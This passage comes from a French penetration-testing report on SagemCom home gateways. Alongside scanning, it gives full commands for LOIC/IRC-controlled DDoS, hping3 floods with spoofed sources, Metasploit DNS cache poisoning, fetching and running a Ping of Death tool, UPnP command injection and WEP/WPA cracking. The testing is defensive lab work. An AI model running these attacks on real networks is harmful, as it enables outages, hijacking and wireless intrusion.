 Il existe plusieurs autres options offertes par nmap pour la détection des services comme
l’option « --version-intensity <intensity> ». La valeur d'intensité doit être comprise entre 0 et
9, la valeur par défaut étant le 7.
 La détection des services n’est pas toujours efficace, surtout si la cible est un équipement
réseaux contrairement aux serveurs et aux PCs car les services des TRs sont spécifiques. Pour
les versions des services non reconnus, Nmap génère une signature de service afin de
contribuer et améliorer la base de données des services utilisée par Nmap (Voir Figure 25).
Page 54
Test3 : détection d’OS

La détection d’OS est importante pour les étapes qui suivent dans le pentesting. Les résultats
de ce test et du test 2 nous aident à acheminer notre recherche dans les failles et les vulnérabilités
possibles sur les TRs car il est inutile de tester des attaques et des exploits sur des services sans
connaitre l’OS. Les attaques sont généralement dédiées pour un système d’exploitation bien défini.
La commande permettant la détection d’OS sous Nmap est :
nmap -O -v 192.168.1.1
 -O : détection d’OS.
Remarque :
 La détection d’OS n’est efficace que s’il existe au moins un port ouvert et un autre fermé sur
le système scanné. L’option --osscan-limit ne permet la détection d’OS que si le critère ci-
dessus n’est présent.
 Dans certain cas, Nmap n’arrive pas à détecter l’OS exacte de la cible, pour cela il offre
l’option--osscan-guess ou --fuzzy pour générer plusieurs possibilités avec des pourcentages de
certitude (Voir figure 25).
Figure 25 Exemple détection d'OS
2.1.3. Profils de scan Zenmap

Les tests décrits ci-dessus ont pour but d’éviter le gaspillage de temps car chaque test aboutie à
un résultat spécifique. Nous pouvons combiner tous ces types de scan dans un seul en utilisant les
profils de scan Zenmap :
Page 55
Intense scan, all TCP ports:

nmap -p 1-65535 -T4 -A -v 192.168.1.1
 -p : les ports à scanner.

 -T4 : Timing (0-5), Faster execution.
 -A : Scan agressif, détection du système d’exploitation et les versions des services, script
scanning et traceroute.
 -v : mode « Verbose ».
Intense scan plus UDP:

nmap -sS -sU -T4 -A -v 192.168.1.1
 -sS : TCP SYN Scan

 -sU : UDP Scan
 -T4 : Timing (0-5), Faster execution.
 -A : Scan agressif, détection du système d’exploitation et les versions des services, script
scanning et traceroute.
Slow comprehensive scan :

Dans ce profil de scan, tous les ports TCP et UDP sont scannés ainsi que les versions des
services et tous les scripts sont utilisés.
Nmap offre la possibilité du « Scripting Scan ». Cette fonctionnalité permet l’automatisation

des scans personnalisés. Par défaut, « nmap » offre une grande bibliothèque des scripts tels que
détection des vulnérabilités, des backdoors, des exploitations sur certains services, etc.
nmap -sS -sU -T4 -A -v -PE -PS -PA -PU --script all 192.168.1.1
 -PE : ping echo pour voir si la machine répond ou pas.

 -PS : Découverte TCP SYN.
 -PA : Découverte TCP ACK.
 -PU22 : Découverte UDP.
2.2. Scan des vulnérabilités

Dans cette partie nous parlons de deux types de scanneurs : scanneur des vulnérabilités
automatiques et des scanneurs des vulnérabilités web.
22
Les options PS/PA/PU peuvent être utilisées en spécifiant les numéros des ports à tester, ou scanner les
ports par défauts s’ils sont utilisés sans arguments.
Page 56
2.2.1. Scanneurs des vulnérabilités automatiques

Dans le chapitre précédent nous avons listé plusieurs scanneurs. En se basant sur l’étude
comparative, nous choisissons la version gratuite de Nessus car elle est extensible et personnalisable et
offre les fonctionnalités nécessaires pour nos tests, au contraire des autres scanneurs (exemple :
OpenVas est extensible mais il se base sur des outils qui nécessite une installation et une configuration
additionnelles).
2.2.1.1. Outil de tests

Sous BackTrack Nessus est installé par défaut, il ne reste que son activation. Pour ce faire, il
faut récupérer la clé d’activation du site officiel. Il faut ensuite utiliser ces commandes qui nécessitent
une connexion internet.
root@bt:~# /opt/nessus/bin/nessus-fetch --register M4D0-EWWQ-1EZU-3KSN

Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
Your Nessus installation is now up-to-date.
If auto_update is set to 'yes' in nessusd.conf, Nessus will
update the plugins by itself.
Il faut créer d’abord un utilisateur administrateur pour Nessus :
root@bt:~# /opt/nessus/sbin/nessus-adduser
Login : root
Login password :
Login password (again) :
Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]:
y
User rules
----------
nessusd has a rules system which allows you to restrict the hosts
that carlos has the right to test. For instance, you may want
him to be able to scan his own host only.
Please see the nessus-adduser manual for the rules syntax
Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set)
Login : root
Password : ***********
This user will have 'admin' privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y]
User added
Ensuite lancer Nessus :
root@bt:~# /etc/init.d/nessusd start

Starting Nessus : .
Le service Nessus tourne sur le port 8834 en utilisant son propre certificat. En accédant sur
https://localhost:8834/, un utilisateur peut se connecter pour démarrer, créer ou configurer un scan ou
un profile de scan (Voir figure 27).
Page 57
Figure 26 Page de connexion
2.2.1.2. Tests réalisés

L’utilisation des profils par défaut est un gaspillage de temps puisqu’ils utilisent tous les
plugins disponibles y comprit ceux de Windows et quelques technologies non utilisées dans les
systèmes embarqués. Pour cela, il est indispensable de créer nos propres profils de scan.
Figure 27 Créer profile
Test4 : Scan à partir du LAN

Dans ce scan, nous utilisons trois politiques de scans :
 Customized Internal Network Scan : c’est une politique de scan personnalisée basée sur
« Internal Network Scan ». Afin d’optimiser le scan nous désactivons les plugins relatifs à
Windows et au VMWare, car nous savons d’avance que l’OS de la GW est basé sur LINUX.
Pour ce faire, nous accédons sous Preferences -> Global variable settings puis nous cochons «
Throrough tests (slow) » pour forcer Nessus à continuer l’exploit s’il trouve une faille. Sous
Preferences -> HTTP login page nous remplissons les champs avec les informations
Page 58
nécessaires. (ces informations peuvent être récupérées en utilisant le plugin Firefox « Live
HTTP Headers »23 et « firebug »24)
Figure 28 Configuration des plugins
 Web App Tests : est un profil pour scanner les applications WEB.
 Prepare for DCI PSS audits: est un profil pour un scan des vulnérabilités respectant les
clauses d’audit DCI PSS.
Test5 : Scan à partir du WAN
Dans le scan réalisé à partir d’un PC WAN, nous utilisons une seule politique de scan :
 Customized External Network Scan : Politique personnalisée basée sur la politique par défaut
«External Network Scan », nous désactivons les plugins Windows et VMWare. Sous
Preferences -> Global variable settings nous cochons « Throrough tests (slow) » pour forcer
Nessus à continuer l’exploit s’il trouve une faille.
Résultat de scan :
Les résultats des scans peuvent être exportés vers plusieurs types de fichiers: Nessus, HTML,
etc. Les fichiers Nessus sont des fichiers XML. Ils peuvent être utilisés par d’autres outils tels que
Metasploit (Voir Annexe 3 et Annexe 4). Les rapports des scans sont clairement représentés. Ils sont
classés par numéro de port pour le quel est associé l’ensemble possibles des failles avec leur sévérité.
23
Plugin Firefox qui détecte et analyse les requêtes HTTP.
24
Plugin Firefox qui analyse et modifie le contenu de la page web. Il offre une console JavaScript.
Page 59
Figure 29 Exemple du résultat
2.2.2. Scanneurs des vulnérabilités Web

Dans cette partie nous nous concentrons sur les scanneurs des vulnérabilités web. Comme il
est présenté dans le chapitre précédent, les scanneurs disponibles sur le marché ne sont pas utiles à
100% dans notre cas. Pour cela, nous réalisons des tests manuels, en suivant la méthode OWASP.
2.2.2.1. Outils de tests

Nikto peut être intégré avec Nessus, dans ce cas Nessus se charge de faire le plus grand
nombre de scans avec Nikto. Cela peut nous faire gagner énormément de temps dans les tests et
centraliser le résultat dans Nessus. Pour cela il faut vérifier bien que le fichier « nikto.nasl » existe
dans «/opt/Nessus/lib /nessus/plugins ».
ls -l /opt/nessus/lib/nessus/plugins/nikto.nasls
/opt/nessus/sbin/nessusd -R // pour redémarrer Nessus
L’utilisation d’un proxy web est nécessaire pour la réalisation des tests. Dans notre cas, nous
utilisons le proxy OWASP-ZAP qui permet la réception, l’analyse et même la modification de
requêtes envoyées vers le TR. Pour cela il faut configurer le navigateur pour qu’il se connecte via le
proxy.
2.2.2.2. Tests réalisés

Test4: Fuzzing avec OWASP -ZAP
L’utilisation de ce proxy web nous aide à faire des tests sur la GUI après l’authentification.
Avec ZAP, nous réalisons un test de « fuzzing ». Dans ce test nous allons intercepter les requêtes
Page 60
envoyées vers le TR lors de sa configuration à partir de la GUI puis nous injectons des données avec
une taille importante (exemple : 700 000 caractères, ‘a’ par exemple)
Figure 30 Exemple Fuzzing
Le but de ce test est de vérifier si le TR fait un contrôle sur les données reçues ou se limite au
contrôle réalisé coté client.
Ci-dessous nous présentons quelques tests réalisés en suivant la méthode OWASP [23].
ID-OWASP Tests Outils Description

owasp-cm-001 SSL/TLS THC-SSL-DOS Attaque DOS ciblant le service SSL
Méthodes HTTP
Nessus Plugin GET HEAD POST, reste à vérifier par un autre
owasp-cm-008 supportées par le
id: 43111 outil. la méthode TRACE n'est pas acceptée
serveur
énumérer les réaliser plusieurs essaie de connexion avec des
owasp-at-002 -
utilisateurs différentes combinaisons.
brute force Attack l'authentification au gui et de type "HTTP form
owasp-at-004 sur le login et mot de hydra based authentification" et utilise deux nombres
passe aléatoirement pour chaque session à ouvrir.
Tableau 9 Tests owasp réalisés
Test5: owasp-cm-001 SSL/TLS

Ce test cible le service SSL sur le TR, en se basant sur les résultats de scan des services. Avec
l’outil « THC-SSL-DOS » nous lançons plusieurs demandes de connexions sécurisées25 sur le TR
sans attendre la réponse (même principe de l’attaque SYN Flood).
./thc-ssl-dos <@IP> <n° port>
Le but de ce test est de vérifier le comportement de TR après une telle attaque notamment la stabilité
de ces différents services.
25
L’établissement d’une connexion SSL requit 15x plus de performance pour le serveur que pour le client [19].
Page 61
Test6: owasp-cm-008 Méthodes HTTP supportés

Certaines méthodes http (pour préciser la méthode TRACE) peuvent aider à la réalisation de
quelques attaques comme XSS (Cross Site Scripting), XST (Cross Site Tracing). Pour cela il y a deux
méthodes :
 Automatique : avec Nessus, après la détection d’un ou de services HTTP, il détermine les
méthodes autorisées à l’aide du plugin n°43111.
 Manuelle : à l’aide d’un client Telnet ou avec netcat, nous pouvons connaître ces méthodes :
nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
Test7: owasp-at-004 énumérer les utilisateurs

Ce test à pour but de lister les utilisateurs possibles sur le système (TR dans notre cas). Ce
scénario ne nécessite aucun outil. Il suffit de tester plusieurs combinaisons de login et mot de passe
puis analyser les réponses du serveur (Utilisateur valide / mot de passe non valide, utilisateur non
valide/ mot de passe non valide, etc).
Test8: owasp-at-004 brute force attack

Le but de ce test est de déterminer le mot de passe d’un utilisateur. Ce teste vise à vérifier si
les TRs implémentent un mécanisme contre ce type d’attaque ou non. Avant d’entamer l’attaque, nous
devons d’abord déterminer à partir du code source de la page d’authentification la méthode
d’authentification (authentification HTTP ou authentification basé sur le « FORM »). Dans notre cas
le TR utilise deux nombres aléatoires pour chaque session à ouvrir. Donc la réalisation de cette attaque
nécessite des outils très sophistiqués qui offrent la possibilité de récupération des paramètres après
chaque essai de connexion et de les injecter dans une nouvelle requête à envoyer.
2.3. Attaques et exploits

Dans cette partie, en se basant essentiellement sur les résultats de scan des ports nous
procédons comme suit : tout d’abord nous déterminons les ports ouverts sur le système ensuite nous
identifions les versions des services et enfin son OS. Ces trois informations sont très utiles pour
orienter les tests dans le bon sens sans perdre du temps.
Dans ce qui suit nous réalisons un ensemble des tests nécessaires pour garantir la robustesse
des TRs SagemCom contre les nouvelles attaques ainsi que les anciennes.
Page 62
2.3.1. Outils de tests

LOIC : il est dédié pour les attaques de type DDOS, déjà utilisé par « Anonymous » lors de
leurs attaques sur les sites gouvernementaux pendant la révolution Tunisienne en décembre 2010 et
beaucoup d’autres attaques utilisées un peu partout dans le monde. Pour effectuer cette attaque, il tente
d'attaquer par déni de service distribué (DDOS ) le site ciblé en inondant le serveur avec des paquets
TCP, des paquets UDP, ou des demandes HTTP avec l'intention de perturber le service d'un hôte
particulier [24].
UnrealIRC : c’est un serveur de messagerie instantanée basé sur le protocole de

communication textuelle sur internet (Internet Relay Chat : IRC) qui permet à des clients IRC de créer
une connexion avec une machine distante considérée comme le serveur IRC. Il sert à la
communication instantanée principalement sous la forme de discussions en groupe par l’intermédiaire
des canaux de discussion et peut jouer comme dans notre cas le rôle d’un serveur C&C : command and
control server. UnrealIRCd est riche en fonctionnalités, citons comme exemple le server-to-server
linking, l’auditing mais aussi le filtrage de message.
XChat IRC : C’est un client IRC utilisé par l’administrateur de l’attaque pour contrôler les
clients LOIC (paramétrage des cibles, le type de l’attaque : HTTP, TCP, UDP, etc).
Hping : C’est un générateur de paquets et un outil d’audit sécurité. « hping » peut être utilisé
pour lancer des attaques de type DDOS telles que Syn Flood, UDP Flood et ICMP Flood. Afin de
réaliser des attaques efficaces, nous lançons les tests de plusieurs machines en même temps.
2.3.2. Tests réalisés

Test9: (TCP/UDP/HTTP Flood)
Topologie du réseau
IRC Server:
 OS: Linux (Back Track 5).
 Adresse IP: 192.168.1.2/24.
 Applications et services : Serveur IRC « UnrealIRCD ».
PC Desktop # et PC Portable:
 OS: Windows XP SP2, Windows Vista et Linux (Back Track 5).
 Adresse IP: 192.168.1.[3-8]/24.
 Applications et services : LOIC V 1.1.1.25.
Page 63
Figure 31 Architecture réseau de l'attaque
Procédure de l’attaque
Nous vérifions bien que « unreal » est en cours d’exécution. Par la suite, nous créons un canal
IRC et nous lançons le client IRC « XChat » puis nous configurons le serveur sur lequel nous allons
nous connecter. Nous choisissons le serveur et nous appuyons sur « Connect » puis nous créons le
canal « #sagemseclabDDOS » dont les clients IRC dans notre cas « LOIC ». Les clients IRC connectés
sur le canal sont affichés à droite (Voir figure 33).
Figure 32 Fenetre XCHAT (Administrateur)
Page 64
Configuration du LOIC
Sur les machines Windows, il suffit d’exécuter « LOIC » (Voir figure 34).
Figure 33 Interface LOIC
Sur les machines « BackTrack 5», nous pouvons exécuter LOIC en accédant au dossier et en ajoutant
le droit d’exécution au fichier « LOIC.exe » puis en le lançant avec la commande « wine ».
cd /root/Desktop/tools/loic.v1.1.1.25
chmod +x LOIC.exe
wine LOIC.exe
Lancement de l’attaque
Depuis le client XCHAT, l’administrateur du canal, lance l’attaque avec l’envoi de cette commande
aux clients :
!lazor targetip=192.168.1.1 message=DDOS_ATTACK port=80 method=tcp wait=false random=true

start
 targetip: le serveur web cible.

 message : sera mit dans la partie donnée du paquet tcp ou udp.
 port : port 80 du serveur web.
 methode : tcp, udp ou http.
 start : pour lancer l’attaque.
Page 65
Figure 34 Lancement de l'attaque
Test10 : (SYN/UDP/ICMP Flood)

Scénario 1 : SYN Flood
L’envoi des paquets SYN successifs sans attendre la réponse du serveur engendre la mise hors
service de la GW pendant et après l’attaque. Le but de cette attaque est de mettre hors service la GUI.
hping3 –S –p 80 –i u10 192.168.1.1
 -S : Paquets « SYN ».
 -p : le port destination 80.
 -i : le nombre de paquets envoyés par seconde est u10 signifiant un paquet chaque
microseconde (1paquet/µSec).
Scénario 2 : UDP Flood
Cette attaque à pour but d’envoyer plusieurs paquets UDP sur un port bien précis. Dans notre
cas le but est d’attaquer le serveur DHCP de la GW.
hping3 –-udp –s 68 –p 67 –i u10 192.168.1.1
 --udp : envoi des paquets UDP.

 -s : Port source, 68 protocole « DHCP ».
 -p : Port destination, 67 protocole « DHCP ».
 -i : u1, 1 paquet/µS.
Page 66
Scénario 3 : ICMP Flood

L’attaque ICMP Flood consiste à envoyer plusieurs paquets ICMP de type (echo Request) avec des
adresses IP différentes vers un serveur.
hping3 –-icmp –i u1 --rand-source 192.168.1.1
 --icmp : le type des paquets à forger.

 --rand-source : envoie des paquets avec des adresses IP spoofées.
Test11 : Dns cache poisoning
Cette attaque consiste à modifier le cache d’un serveur DNS afin d’orienter les demandes des
connexions vers un serveur malicieux autre que le serveur demandé.
Etape d’attaque :
 Un utilisateur malicieux envoie une requête DNS à son serveur de noms associée (SERVER
A) pour résoudre le nom de domaine (example.com).
 Si (SERVER A) n’a pas l’adresse IP associé au nom de domaine, il envoie une requête DNS à
un autre serveur DNS (SERVER B) et ainsi de suite jusqu'à trouver l’adresse IP demandée.
 L’attaquant envoie plusieurs milliers de réponses DNS au (SERVER A) avec l’adresse
spoofée du (SERVER B) avec des identifiants aléatoires. L’adresse IP contenue dans la
réponse est celle d’un autre serveur (appartenant à l’attaquant)
 Etant donné l’attaque est réussite (SERVER A), ce dernier écrit dans son cache adresse IP de
l’attaquant.
 Toutes les nouvelles demandes de résolution du (example.com) seront répondues par une
fausse adresse IP.
Vulnérabilité :
Version : BIND 9.6.1-P2. Avec « DNSSEC validation enabled », « checking disabled (CD) »
où le serveur supporte les requêtes récursives est vulnérable pour une attaque de type « DNS Cache
Poisoning ». L’exploit de cette faille est disponible sur le site « Exploit Database » ou directement sur
« Metasploit Framework 3 » [25].
Scénario de test :
 Scanner les ports ouverts sur la passerelle afin de déterminer la version du serveur DNS
implémenté s’il existe.
 Attaque DNS cache poisoning (l’utilisation de l’exploit selon la version de serveur DNS)
 Le résultat de test doit être comme suit: modifier le cache DNS afin de fournir l’adresse IP
Google.fr au lieu de l’adresse Yahoo.fr.
Page 67
Exploitation :
Avant de lancer l’exploit, nous devons déterminer les ports ouverts sur la passerelle pour
déterminer la version du serveur DNS s’il existe.
nmap -sU -sV -p53 -T4 192.168.0.1
Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-21 12:08 CET

Warning: 192.168.0.1 giving up on port because retransmission cap hit (6).
Nmap scan report for HomeGateway.home (192.168.0.1)
Host is up (0.00089s latency).
Not shown: 1982 closed ports
PORT STATE SERVICE VERSION
80/tcp open http?
2222/tcp open EtherNet/IP-1?
53/udp open domain ISC BIND 9.6.1-P2
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
……………
Remarque :
 Les résultats du scan ne sont pas toujours justes, c’est le cas de ce scan car la passerelle est
joue le rôle d’un « DNS Relay ».
 Pour déterminer l’adresse IP du serveur google.fr, on exécute les commandes suivantes :
ping www.google.fr
Envoi d'une requête 'ping' sur www.l.google.com [74.125.39.147] avec 32 octets
Pour tester l’exploit sur le serveur « Bind 9.6.1-P2 », sous le terminal nous lançons « metasploit » :
cd /pentest/exploits/framework3/
./msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v4.1.0-release [core:4.1 api:1.0]

+ -- --=[ 748 exploits - 384 auxiliary - 92 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r13994 updated 6 days ago (2011.10.18)
Pour lancer l’exploit nous exécutons les commandes « Metasploit » suivantes :26
26
Le ou les serveurs DNS utilisés par le TR peuvent être récupérés à partir de la GUI.
Page 68
msf > use auxiliary/spoof/dns/bailiwicked_host

msf auxiliary(bailiwicked_host) > show options
Module options (auxiliary/spoof/dns/bailiwicked_host): Le nom de domaine à modifier

Name Current Setting Required Description La nouvelle adresse IP, dans
---- --------------- -------- ----------- notre cas 74.125.39.147
HOSTNAME pwned.example.com yes Hostname to hijack
INTERFACE no The name of the interface
Le DNS utilisé par la passerelle
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes The nameserver used for reconnaissance
L’adresse IP de la victime
RHOST yes The target address
SNAPLEN 65535 yes The number of bytes to capture
SRCADDR Real yes The source address to use for sending the
queries (accepted: Real, Random)
SRCPORT yes The target server's source query port (0 for
Configurer
automatic) les paramètres :
TIMEOUT 500 yes The number of seconds to wait for new data
TTL 31556 yes The TTL for the malicious host entry
msfXIDS
auxiliary(bailiwicked_host)
0 > set
yes hostname yahoo.fr
The number of XIDs to try for each query (0 for
hostname => yahoo.fr
automatic)
msf auxiliary(bailiwicked_host) > set newaddr 74.125.39.147
newaddr => 74.125.39.147
msf auxiliary(bailiwicked_host) > set rhost 192.168.0.1
rhost => 192.168.0.1
msf auxiliary(bailiwicked_host) > set recons 10.64.16.3
recons => 10.64.16.3
msf auxiliary(bailiwicked_host) > show options
Module options (auxiliary/spoof/dns/bailiwicked_host):
Name Current Setting Required Description

---- --------------- -------- -----------
HOSTNAME yahoo.fr yes Hostname to hijack
INTERFACE no The name of the interface
NEWADDR 74.125.39.147 yes New address for hostname
RECONS 10.64.16.3 yes The nameserver used for reconnaissance
RHOST 192.168.0.1 yes The target address
SNAPLEN 65535 yes The number of bytes to capture
SRCADDR Real yes The source address to use for sending the
queries (accepted: Real, Random)
SRCPORT yes The target server's source query port (0 for
automatic)
TIMEOUT 500 yes The number of seconds to wait for new data
TTL 31556 yes The TTL for the malicious host entry
XIDS 0 yes The number of XIDs to try for each query (0 for
automatic)
La commande « check » vérifie l’exploit avant de le lancer sur la cible. Elle permet de déterminer si le
serveur DNS est vulnérable à cette attaque ou non :
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...

[-] ERROR: This server is not replying to recursive requests
Test12: Attaque Ping Of Death

Description:
L’attaque consiste à envoyer un ou plusieurs paquets ICMP de type echo-request dont la taille
est supérieure à 65507 Octets. Les paquets sont alors fragmentés. Cette attaque provoque l’arrêt du
système d’exploitation [26]. Les systèmes vulnérables sont :
 Windows (95, NT, 3.11).
Page 69
 MSDOS.
 Mac OS 7.
 Solaris (x86) 2.4 & 2.5.
 Linux Kernel <= 2.0.23.
Outils :
PingOfDeath.c est un code source développé par Jeff w.Roberson, téléchargeable à partir du
site Inifinity Exists. Cet outil permet d’envoyer des paquets ICMP fragmentés avec une adresse IP
spoofée.
Procédure de l’attaque :
 Téléchargement du code source :
wget http://infinityexists.com/downloads/PingOfDeath-Jolt.c
--2011-10-12 16:55:31-- http://infinityexists.com/downloads/PingOfDeath-Jolt.c

Resolving infinityexists.com... 69.163.252.17
Connecting to infinityexists.com|69.163.252.17|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4013 (3.9K) [text/x-c]
Saving to: `PingOfDeath-Jolt.c.1'
100%[========================================================>] 4,013 13.8K/s in

0.3s
2011-10-12 16:55:32 (13.8 KB/s) - `PingOfDeath-Jolt.c.1' saved [4013/4013]
 Compilation du code et génération de l’exécutable « PoD » :

gcc PingOfDeath-Jolt.c -o PoD
 Exécution de l’attaque :
./PoD 192.168.1.1 1.1.1.1
Sending to 192.168.1.1
o 192.168.1.1 : Adresse de la GW.

o 1.1.1.1 : Adresse spoofée.
Page 70
Résultat de l’attaque :
Ci-dessous, un imprime écran du sniffeur Wireshark pendant l’attaque :
Figure 35 Capture de trafic lors de l'attaque
2.3.3. Anciennes attaques

TearDrop Attack
Plus connue sous le nom de Teardrop Attack, Bonk ou encore Boink, cette attaque utilise une
faille propre à certaines piles TCP/IP. Cette vulnérabilité concerne la gestion de la fragmentation IP.
Ce problème apparaît lorsque la pile reçoit le deuxième fragment d'un paquet TCP contenant comme
donnée le premier fragment. La pile TCP/IP peut s'avérer incapable de gérer cette exception et le reste
du trafic. Cette faille est très connue sur plusieurs OS27.
Land Attack
Cette attaque consiste à envoyer des paquets dont l’adresse IP et le port source et destination
sont les mêmes. Cette attaque affecte les anciens systèmes d’exploitations. Les systèmes vulnérables
sont Windows (95, NT 4.0), HP-AIX (<=9.00). Les systèmes Linux ne sont pas vulnérables à cette
attaque.
27
OS vulnérables à TearDrop Attack : IBM AIX, WindRiver BSDOS, SGI IRIX, Linux Kernel , Sun Solaris,
IBM OS2, Microsoft Windows 95, Data General DG/UX, Microsoft Windows NT: 4.0, Microsoft Windows 98,
Novell NetWare, SCO SCO Unix, Microsoft Windows 98SE, Microsoft Windows 2000, Microsoft Windows
Me, Compaq Tru64, Microsoft Windows XP, SCO Caldera OpenLinux: 1.1, Apple Mac OS, Microsoft
Windows 2003 Server [27].
Page 71
The Tiny Fragment Attack

C’est une attaque à fragmentation des paquets sur plusieurs petits fragments dans le but de
forcer le décalage de quelques informations de l’entête TCP vers d’autres fragments. Elle engendre
l’instabilité des anciens systèmes [28].
Zero length IP
Cette attaque permet à un attaquant à distance d’envoyer des milliers de paquets IP avec une
taille nulle. Ceci provoque le crash de quelques système (Linux Kernel => à 2.2.4 ne sont plus
vulnérables à cette attaque) [35].
WinNuke Attack
Cette attaque provoque le crash de quelques systèmes d’exploitation Windows [29].
Smurfing attack
C’est une attaque de type DDOS où l’attaquant envoie en diffusion sur le réseau une requête
ICMP de type echo-request avec l’adresse spoofée de la victime. La réponse simultanée de toutes les
machines du réseau provoque l’instabilité du système. Cette attaque ne présente aucun risque face à la
puissance actuelle des machines [30].
IP Spoofing
Cette technique (Voir figure 37) permet de cacher la vraie identité d’un attaquant lors de son
attaque. L’IP Spoofing est la base de plusieurs attaques. Dans notre cas nous étudions l’attaque vol de
session ou en anglais « Hjacking ». Cette attaque sert à voler la session de connexion entre un serveur
et une machine de confiance [31].
Figure 36 Attaque à base de l’IP Spoofing
Page 72
Remarque :
Pour garder la connexion avec le serveur, il existe plusieurs techniques:
 Sniffing sur le réseau, puis réalisiation de statistiques permettant la prédiction du bon numéro
de séquence (la plupart des machines actuelles ne permet pas cette option).
 L’exploitation de l’option « Source Routing » du protocole IP afin de définir le chemin de
retour des paquets envoyés.
 « Blind attack » basée sur la prédiction de numéro de séquence.
Après un scan intensif avec nmap (Voir Test2: Scan des services) l’indice de difficulté est très haut
« TCP Sequence Prediction », cela indique que la prédiction est presque impossible et demande des
algorithmes très sophistiqués ainsi qu’une bande passante énorme [32].
TCP Sequence Prediction: Difficulty=204 (Good luck!)
3. Module UPnP
3.1. Présentation des tests

Dans le chapitre précédent, nous avons présenté le protocole UPnP ainsi que les risques qu’il
peut présenter pour les TRs. Dans cette partie, nous fixons quelques tests pour vérifier la sécurité des
TRs liée à l’activation d’UPnP. Ces tests visent les IGD et ils sont répartis comme suit :
 Test12: ajout d’une règle portmapping invalide.

 Test13 : injection du code.
3.2. Tests realisés

Test13: ajout d’une règle portmapping invalide
But
Le but de ces tests est de vérifier si les TRs sont vulnérables aux attaques UPnP connus.
Déroulement de test
Tous d’abord nous devons déterminer les équipements UPnP disponibles avec l’outil «
UGUPnP Universal Control Point ».
Page 73
Figure 37 Détection des équipements UPnP sur le réseau
Par la suite, nous vérifions l’existence du profile « WANIPConnection ». S’il existe nous
choisissons l’action « AddPortMapping » et nous essayons d’ajouter une règle port mapping dont
l’attribue « NewInternelClient = 8.8.8.8».
Figure 38 Action AddPortMapping
Enfin, nous vérifions si cette règle est ajoutée ou pas avec l’une de ces deux méthodes :
 GetGenericPortMappingEntry : action pour la récupération d’une règle portmapping, elle

prend en entrée l’index de la règle et retourne ses différents attribues.
Page 74
 GetSpecificPortMappingEntry : action pour la récupération d’une règle portmapping, elle

prend en entrée le numéro du port distant, l’adresse IP destination et le protocole et retourne
ses différents attribues.
Figure 39 Actions GetSpecificPortMapping et GetGenricPortMapping
Test14: injection du code

Même étape à suivre de l’autre test, mais au lieu d’utiliser une autre adresse IP, nous injectons
un code ou une commande. Etant donner que les systèmes d’exploitation de la plus part des
équipements réseau sont basés sur « Linux Kernel » nous essayons quelques commandes connus
comme « reboot », « halt », etc.
Dans nos tests, nous procédons de deux manières différentes. En effet, nous utilisons la
méthode « Black Box » et nous injectons des commandes linux d’une façon aléatoire. Aussi, nous
utilisons la méthode « White Box » et nous injectons des commandes qui existent réellement sur l’OS
du TR.
4. Module WIFI

Pour le module WIFI, nous réalisons les attaques les plus connues dans le monde du WIFI.
 Test14 : Craquage des clés de chiffrement.

 Test15 : Perturbation des connexions.
Page 75
4.2. Tests réalisés

Test15 : Craquage des clés de chiffrement
Les TRs SagemCom offre deux types de chiffrement (WEP et WPA). Comme il est décrit
dans le chapitre précédent, le craquage des clés WEP est très simple vu la faiblesse dans l’algorithme
de chiffrement. Par contre, le craquage des clés WPA/WPA2 est impossible 28 sauf avec une attaque de
type dictionnaire (nécessite la détection d’authentification d’un client).
Scénario 1 : Craquage clé WEP

Cette attaque est très connue et il existe une gamme complète d’outils permettant sa réalisation
d’une façon automatique. Ci-dessous, nous décrivons le déroulement du scénario :
Activer la carte wifi en mode monitor :
airmon-ng start wifi0 6
 6 : canal d’écoute
Capturer le trafic avec la commande airodump-ng :
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output wifi0
 -c 6: Commencer l’écoute sur le canal numéro 6

 --bssid : adresse MAC du point d’accès.
 -w : fichier de captures.
Utiliser aireplay-ng pour réaliser des fausses authentifications avec le point d’accès. Le but de
cette étape est d’associer l’adresse mac au point d’accès :
aireplay-ng -1 0 -e sagemseclab -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0
 -1 : envoi des requêtes d’authentification au point d’accès.

 -e : nom du réseau.
 -a : adresse MAC du point d’accès.
 -h : adresse MAC source.
28
En 2008 deux chercheurs allemands en sécurité, Erik Tews et Martin Beck3, ont annoncé avoir découvert une
faille de sécurité dans le mécanisme de sécurité WPA utilisé avec l'algorithme TKIP (Temporal Key Integrity
Protocol) et en 2009, des chercheurs japonais, Masakatu Morii et Toshihiro Ohigashi, mettent au point une
attaque permettant, en une minute, de falsifier des paquets de type ARP ou DNS.
Page 76
Utiliser aireplay-ng pour générer plus de trafic en envoyant des ARP request 29:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0
 -3: envoi des requêtes ARP.

 -b: adresse MAC du point d’accès
Finalement, craquer la clé avec aircrack-ng :
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
La durée de cette attaque varie entre 10 minutes à des heures selon le taux d’informations
capturé.
Scénario 2 : Craquage clé WPA/WPA2

Le craquage du WPA nécessite un dictionnaire contenant un grand nombre de mots de passe
possibles. La taille d’un dictionnaire peut varier entre quelque MO à quelques GO.
Les étapes de l’attaque sont comme suit :
 Activer la carte wifi en mode monitor :

airmon-ng start wifi0 6
 Capturer le trafic avec la commande airodump-ng :

airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output wifi0
 Utiliser airplay-ng pour forcer la de-authentification d’un client connecté au point d’accès qui
va automatiquement s’authentifier de nouveau. Cette étape est obligatoire car le craquage de la
